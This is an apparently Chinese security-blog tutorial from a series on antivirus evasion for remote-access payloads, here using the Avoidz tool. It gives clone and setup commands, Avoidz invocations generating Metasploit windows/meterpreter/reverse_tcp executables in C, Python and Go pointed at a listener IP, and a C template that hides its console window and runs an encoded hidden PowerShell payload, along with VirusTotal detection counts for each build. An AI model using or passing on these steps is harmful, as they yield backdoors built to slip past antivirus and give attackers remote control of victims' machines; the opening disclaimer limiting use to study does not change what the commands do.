声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

本专题文章导航

2、远控免杀专题文章(2)-msfvenom隐藏的参数:https://www.secpulse.com/archives/123300.html

3、远控免杀专题文章(3)-msf自带免杀(VT免杀率35/69):https://www.secpulse.com/archives/123315.html

4、远控免杀专题文章(4)-Evasion模块(VT免杀率12/71):https://www.secpulse.com/archives/123339.html

5、远控免杀专题(5)-Veil免杀(VT免杀率23/71):https://www.secpulse.com/archives/127186.html

6、远控免杀专题(6)-Venom免杀(VT免杀率11/71):https://www.secpulse.com/archives/127297.html

7、远控免杀专题(7)-Shellter免杀(VT免杀率7/69):https://www.secpulse.com/archives/127713.html

8、远控免杀专题(8)-Shellter免杀(VT免杀率7/69):https://www.secpulse.com/archives/128628.html

9、远控免杀专题(9)-Avet免杀(VT免杀率14/71):https://www.secpulse.com/archives/130734.html

10、远控免杀专题(10)-TheFatRat免杀(VT免杀率22/70):https://www.secpulse.com/archives/130782.html

11、远控免杀专题(11)-Avoidz免杀(VT免杀率23/71):本文

https://github.com/TideSec/BypassAntiVirus

免杀能力一览表


几点说明:

1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。

windows/meterperter/reverse_tcp
5.0.0.81605.0.34.1612.0.0.2002
virustotal.com

5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。

一、avoidz介绍


Avoidz是一个比较使用比较简单的小工具,利用msf生成powershell的shellocde,然后利用c#、python、go、ruby等语言对shellcode进行编译生成exe而达到免杀的效果,套路比较简单,但免杀效果还算不错。

二、安装avodiz

setup.sh

首先从github上clone到本地

git clone https://github.com/M4sc3r4n0/avoidz
chmod +x setup.sh
./setup.sh

会要求按照ruby、msf、wine、wine-python、wine-pyinstaller、golong等。

mingw32setup.shi586-mingw32msvc-gccapt-get install mingw32
mingw32
apt install mingw-w64

安装后会出现两个命令

i686-w64-mingw32-gcc  #针对32-bit Windows;
x86_64-w64-mingw32-gcc #针对64-bit Windows
./avoidz.rb
ln -s /usr/bin/i686-w64-mingw32-gcc /usr/bin/i586-mingw32msvc-gcc

安装成功



三、avoidz使用说明

安装好之后,使用起来非常非常简单,只有四个参数。

    -h, --lhost value                ip_addr|default = 127.0.0.1    
    -p, --lport value                port_number|default = 4444    
    -m, --payload value              payload to use|default = windows/meterpreter/reverse_tcp    
    -f, --format value               output format: c1, c2, cs, py, go

参数说明:

-h msf监听的IP,也就是攻击者的

-p msf监听的端口

-m msf的payload

-f 提供了5种编译格式,三种c/c#,一种python,一种go,都是生成exe文件

/root/

四、使用avoidz编译C#生成exe(VT免杀率23/68)

cat avoidz.rb

我以第一种为例进行测试

./avoidz.rb -h 10.211.55.2 -p 3333 -m windows/meterpreter/reverse_tcp -f c1

这种方式的C代码为

#include <windows.h>
int shellCode(){
system("color 63");
system("powershell.exe -nop -win Hidden -noni -enc #{powershell_encoded}");
/*
((Shell Code into the console))
    */
    return 0;
}
void hide(){
HWND stealth;
AllocConsole();
stealth = FindWindowA("ConsoleWindowClass",NULL);
ShowWindow (stealth,0);
}int main(){
hide();
shellCode();
return 0;
}
}

执行后可正常上线

开启杀软进行测试,静态测试没问题,行为检测马上露馅。

virustotal.com中23/68个报毒

五、使用avoidz编译python生成exe(VT免杀率11/68)

使用python生成exe文件

./avoidz.rb -h 10.211.55.2 -p 3333 -m windows/meterpreter/reverse_tcp -f py

静态查杀没问题,行为检测依据被拦

virustotal.com中11/68个报毒

六、使用avoidz编译golang生成exe(VT免杀率23/71)

使用go生成exe文件

./avoidz.rb -h 10.211.55.2 -p 3333 -m windows/meterpreter/reverse_tcp -f go

go版本的静态查杀都没通过,行为检测依据被拦

virustotal.com中23/71个报毒

小结

avoidz的原理还是比较简单的,msfvenom生成powershell的shellcode,然后各种语言编译一下生成exe,静态检测查杀率还算可以,但行为检测就很容易被查杀出来,和TheFatRat具有相同的缺陷。倒是可以借鉴下他的原理,自己写个免杀工具。

参考

https://www.youtube.com/watch?v=ZilOByKkrVk



E




N




D







https://www.secpulse.com/archives/133392.html